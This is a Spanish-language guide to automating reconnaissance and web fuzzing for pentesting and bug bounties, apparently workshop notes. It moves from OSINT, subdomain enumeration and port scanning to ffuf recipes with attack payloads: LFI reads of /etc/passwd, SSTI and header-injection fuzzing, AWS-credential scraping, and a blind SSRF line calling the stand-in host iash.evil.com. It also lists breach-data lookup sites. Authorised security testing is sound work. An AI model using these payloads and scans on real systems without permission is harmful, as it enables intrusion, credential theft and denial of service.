(a.k.a. correlación horizontal)
# Metadata finder
metafinder -d "target.tld" -l 10 -go -bi -ba -o path
# Email finder
emailfinder -d "target.tld"
# Users/Employees
python3 crosslinked.py -f '{first}.{last}@domain.com' company
site:linkedin.com/in "domain.com" # Dork
# Data breaches for free
https://breachdirectory.org/
https://hashes.com/en/decrypt/hash
# Manual
bgp.he.net, ipinfo.io, asnlookup.com
# Fetch info from ASN
asnmap -i 1.3.3.7 -org GOOGLE -d facebook.com -a AS3941
amass intel -org "COMPANY"
Owner name, company name, email o palabras clave, es una relación que requiere investigar recursivamente debido a que las empresas usan distintos emails y nombres para registrar sus dominios.
Difícil de automatizar o recuperar sin interacción desde cli. Altas probabilidades de salirse de scope.
Útil para descubrir dominios relacionados, requiere el cálculo del hash del favicon y tener cuenta en Shodan, ojo a rediseños o logotipos antiguos 😜
# Shodan query
http.favicon.hash:FAVICONHASH
# Tool
python3 favUp.py -wl web_list.txt -sc
Forma más fácil y rápida de recuperar subdominios, info desactualizada, modelo de gasto de créditos/tokens por consulta en la mayoría de servicios.
# Amass passive data fetch
amass enum -passive -d target.tl
subfinder -d target.tl
# Ctfr subdomain search on crtsh
python3 ctfr.py -d target.tl
# Subdomains from Github
github-subdomains -d target.tld -t tokens.txt
# Subdomains from GitLab
gitlab-subdomains -d target.tld
# Fetching DNS records with dnsx
cat subs.txt | dnsx -cname -ns -mx -soa -resp
# Analytics from BuiltWith and HackerTarget
cat file.txt | analyticsrelationships
# Analytics from SpyOnWeb, site-overview.com
# osint.sh and HackerTarget
udon -silent -json -s UA-33427076 | jq -c
Alto coste en tiempo y recursos, pero resultados únicos y valiosos
Requisitos
# Gotator wordlist generation
gotator -sub subdomains.txt -perm permutations.txt \
-depth 1 -numbers 5 -mindup -adv -md > permutations.txt
# Regulator
python3 main.py -t target.tld -f subdomains.txt -o output.rules
# Resolvers generation
dnsvalidator -tL https://public-dns.info/nameservers.txt \
-thread 200 > resolvers.txt
# DNS resolution
puredns bruteforce wordlist.txt target.com \
-r resolvers.txt --resolvers-trusted res_trusted.txt \
-l 1000 --wildcard-tests 10 -w output.txt
# Amass
amass enum -df doms.txt -w subs.txt -aw perms.txt \
-rf resolvers.txt -trf res_trust.txt -trqps 400
⚠️ Puedes acabar DOSeando el objetivo
# x509 subdomain extraction
cat subs.txt | tlsx -san -cn -silent -r
# DNS NOERROR
echo "random.target.tld" | dnsx -rcode noerror,nxdomain
dnsx -d target.tld -rcode noerror -w wordlist.txt
Es esencial resolver las IP para evitar resoluciones DNS innecesarias al escanear puertos y/o escanear el mismo host más de una vez
# Get A/AAAA records from subdomains
dnsx -a -aaaa -resp -silent -l subdomains.txt
# Expand CIDRs/ASN
echo "ASD_OR_CIDR" | mapcidr -silent
Rangos de IPs en la nube, WAFs, CDNs
El objetivo es evitar escaneos de puertos innecesarios y evitar baneos o bloqueos.
# WAF and CDN detection
cat list.txt | ipcdn -v
# Cloud detection by bruteforce
python3 cloud_enum.py -k keyword
# Passive ports scan
smap -iL targets.txt
shodan host 10.X
# Active ports scan
masscan 10.X.X.X -p1-1000
nmap -iL targets.txt
nmap -iL targets.txt -sV --script vulners
--script-args mincvss=7.0
Reverse DNS records / PTR
⚠️ Peligro de salirse de scope (cloud, hosting compartido, etc.)
# PTR records
cat iplist.txt | dnsx -ptr -retry 3 -silent -resp
Historial de vulnerabilidades conocidas en diferentes CMS (WordPress, Drupal), Frameworks (Symfony, Laravel) y bypasses según el WAF
# Web tech detection
httpx -title -server -tech-detect -cdn -l list.txt
# CMS detection
python3 cmseek.py -l tartget_list.txt
# WAF detection
wafw00f -l tartget_list.txt
Ayuda a filtrar miles de capturas de pantalla y la mayoría de las herramientas proporcionan informes
Podemos aprovecharnos de la IA para clasificar los sitios según su aspecto
# Web screenshoting
gowitness file -f sites.tx
# Classify based on given pretrained AI model
python3 eyeballer.py --weights model.h5 evaluate /path/
# Fetch latest templates
nuclei -ut
# Scan horizontally for specific CVE
cat targets.txt | nuclei -id CVE-2023-1337
Registros DNS mal configurados que apuntan a servicios de terceros que pueden ser reclamados por cualquiera.
Nuclei tienen una gran biblioteca de plantillas con credenciales predeterminadas en función de la tecnología en configuraciones por defecto. Las plantillas de nuclei son bastante sencillas de crear por tu cuenta en caso de que quieras probar una gran cantidad de instancias de una aplicación específica.
Otras opciones incluyen tener a mano una lista de crendenciales y ejecutarla con ffuf. Esto requiere conocer un poco más el contexto de la aplicación (igual que para crear una plantilla de Nuclei) y no es fácil automatizar globalmente.
Un crawler que devuelve los enlaces encontrados en el sitio objetivo. Tiene una gran cantidad de opciones de configuración para no salirse de scope, así como incluir cookies de autenticación o cualquier tipo de headers. Además tiene un modo "headless" que permite interpretar el DOM o JS dinámicos complejo como si se tratase de un navegador web más.
katana -list url_list.txt -jc -kf -cs target.tld -ef jpg,png
Extraer urls de un dominio desde diferentes servicios de terceros, como WaybackMachine, VirusTotal o URLScan. A veces es más útil que los crawlers/spiders porque pueden contener parámetros GET y darnos una idea de cómo se usan los endpoints, incluso pueden revelar información sensible
# gau
cat sites.txt | gau
# waymore
python3 waymore.py -i webs.txt -mode U -f -O file.txt
# github-endpoints
github-endpoints -d target.tld -t key.txt -o output.txt
Wrapper de grep escrito en Go para la clasificación de urls y la búsqueda de patrones potencialmente vulnerables
Se pueden utilizar herramientas de TomNomNom como unfurl para extraer partes interesantes de las urls y crear la base de una wordlist personalizada. Normalmente, estas partes interesantes incluyen parámetros, valores, rutas, etc.
Existen algunas herramientas antiguas y fiables como CeWL para la generación de listas de palabras basadas en objetivos a partir de todo el contenido del sitio.
OneListForAll tiene una buena colección de wordlists separadas por tecnologías.
Assetnote tiene una colección de wordlists específicamente elaboradas y basadas en el contexto.
Herramientas creadas en torno a una tecnología específica centradas en diferentes vulnerabilidades concretas
Todavía hay mucho margen de mejora en este aspecto, ya que el análisis sintáctico y la renderización de JS son difíciles de automatizar
Está disponible como solución hosteada por PDiscovery, pero se le saca mucho más partido si se hostea uno propio. Además cuando se trata de posibles vulnerabilidades, es importante que tú seas el único propietario de los datos
https://github.com/projectdiscovery/interactsh
Para hostear el server se necesita un servidor (VPS) con una dirección IP estática y un nombre de dominio.
En el contexto de pentesting web, se utiliza a menudo sólo como callback DNS para capturar peticiones SSRF.
Esta es una gran herramienta para gestionar eficientemente vulnerabilidades XSS, especialmente para blind XSS. El XSSHunter original fue descontinuado hace poco y ha sido sustituido por un fork ligeramente modificado y hosteada por Trufflesec.
Para subrayar aún más que "debes hostearlo por ti mismo" (tanto la instancia como la propiedad de los datos), recientemente ha habido controversia con Trufflesec por farmear y publicar información de la base de datos de su version hosteada, supuestamente para estadísticas de uso.
OG: https://github.com/mandatoryprogrammer/xsshunter-express
Trufflesec fork: https://github.com/trufflesecurity/xsshunter
Ffuf es una gran herramienta para este propósito. Está diseñado para ser muy versátil, rollo navaja suiza para web fuzzing.
A continuación se mostrarán algunos ejemplos de escaneos automatizados que se pueden hacer con ffuf, pero se puede hacer mucho más. Para conocer más a fondo las distintas opciones disponibles, pásate por la documentación de ffuf.
Ffuf proporciona una manera de añadir scraper rules.Son archivos json que se pueden guardar en $HOME/.config/ffuf/scraper/
Un archivo de ejemplo que puede utilizarse en el taller está en el repo. Éstas reglas se aplican pasivamente a todos los escaneos de ffuf si guardas el archivo en el directorio global de scrapers. Para un solo uso, se puede hacer referencia a un archivo de scraper con el parámetro -scraperfile.
# -mc 999 deshabilita la salida hasta que el scraper salte
ffuf -w all_urls.txt -u FUZZ -mc 999 \
-scraperfile aws_creds.json
Se pruebam todos los nombres de host contra todos los targets web y devuelve todos los vhosts que reciben respuesta de de CDNs/load balancers. Esto puede llevar a veces a divertidas fallos de configuración.
ffuf -w hostnames.txt:VHOST -w hostnames.txt:DOMAIN \
-u https://DOMAIN -H "Host: VHOST" -ac -ach
Se combina una lista de headers junto con una lista de payloads para encontrar diferentes vulnerabilidades. Puedes ir a lo loco e incluir todo en la misma petición pero sería más complicado encontrar el payload bueno.
Normalmente esto lleva a XSS (a través de paneles administrativos normalmente), proxies inversos mal configurados, balanceadores de carga, etc.
Es interesante lanzar una ejecución por cada tipo de vuln. Por ejemplo: filtrado basado en el tiempo para time-based SQLi
ffuf -w headernames.txt:HEADERNAME -w payloads.txt:PAYLOAD \
-w hostnames.txt:TARGET \
-u https://TARGET \
-H "HEADERNAME: PAYLOAD"
Puedes crear tu propia wordlist de payloads SSTI fáciles de identificar. Un buen recurso para empezar sería la página de PayloadsAllTheThings sobre SSTI.
Asegúrate de que el cálculo te devuelve algo único y fácil de contrastar. El típico {{7*7}} puede llevar a un montón de falsos positivos ;)
ffuf -w ssti_payloads.txt:SSTI -w get_params.txt:GETPARAM \
-w hostnames.txt:TARGET \
-u https://TARGET/?GETPARAM=SSTI \
-mr 'result_of_your_unique_calculation_here'
Puedes seguir el mismo principio que con los SSTI. En este caso interesa lanzar una ejecución de ffuf por cada payload en caso de que estés intentando leer diferentes archivos del filesystem.
Puedes usar la wordlist de LFI de Jhaddix, incluída en SecLists.
En el siguiente ejemplo se usa la wordlist de LFI con diferentes técnicas para leer /etc/passwd
ffuf -w lfi_payloads.txt:LFI -w get_params.txt:GETPARAM \
-w hostnames.txt:TARGET \
-u https://TARGET/?GETPARAM=LFI \
-mr 'root:x:0:0:root'
ffuf 2.0 tiene una función de mapeo inverso llamada FFUFHASH que permite añadir un placeholder único para payloads de blind SSRF. Esto funciona especialmente bien con interactsh. En el siguiente ejemplo el dominio de interactsh sería iash.evil.com:
ffuf -w params.txt -u \
https://target.tld/?FUZZ=%2F%2FFFUFHASH.iash.evil.com
# Building the image
axiom-build
# Spin up the fleet
axiom-fleet "1337squadron" -i 50
# Scanning
axiom-scan input.txt -m ffuf -o output.txt
# Deleting the fleet
axiom-rm -f "\*"
⚠️ Alto riesgo de DDOS
# build your container
lithops runtime build sc-runtime -f Dockerfile
# deploy it with 512Mb memory and 300sec timeout
lithops runtime deploy --memory 512 --timeout 300 sc-runtime
Para permitir una fácil extensión y construcción iterativa de la automatización lo mejor es utilizar Python o shell scripting.
JSON está hecho para ser leído por ordenadores y es tu mejor aliado. La mayoría de las herramientas lo soportan de una forma u otra. En general, estarás tratando con archivos de texto o con JSON.
Muchas etapas diferentes en el proceso de automatización pueden bifurcarse en múltiples subtareas, por lo que a menudo es bueno almacenar los resultados de las etapas anteriores en un archivo temporal. Esto también suele ayudar a depurar posibles problemas.
Trata de evitar la creación de tráfico innecesario, y sobre todo salirte fuera del scope, lo que puede suceder con bastante facilidad. Asegúrate de filtrar las entradas que no quieres de tu workflow desde el principio. Esto hará que tu automatización sea más rápida, y causará considerablemente menos problemas legales en el futuro ;)
Puedes encontrar un ejemplo de un sencillo script en Python que lee líneas de stdin (pensadas para ser utilizadas dentro en un pipe) y devuelve sólo las urls http(s) dentro del scope aquí
Conjunto de herramientas y técnicas cuyo objetivo es automatizar todo el proceso de reconocimiento, proporcionando un flujo de trabajo personalizable (o no) para lograr el objetivo.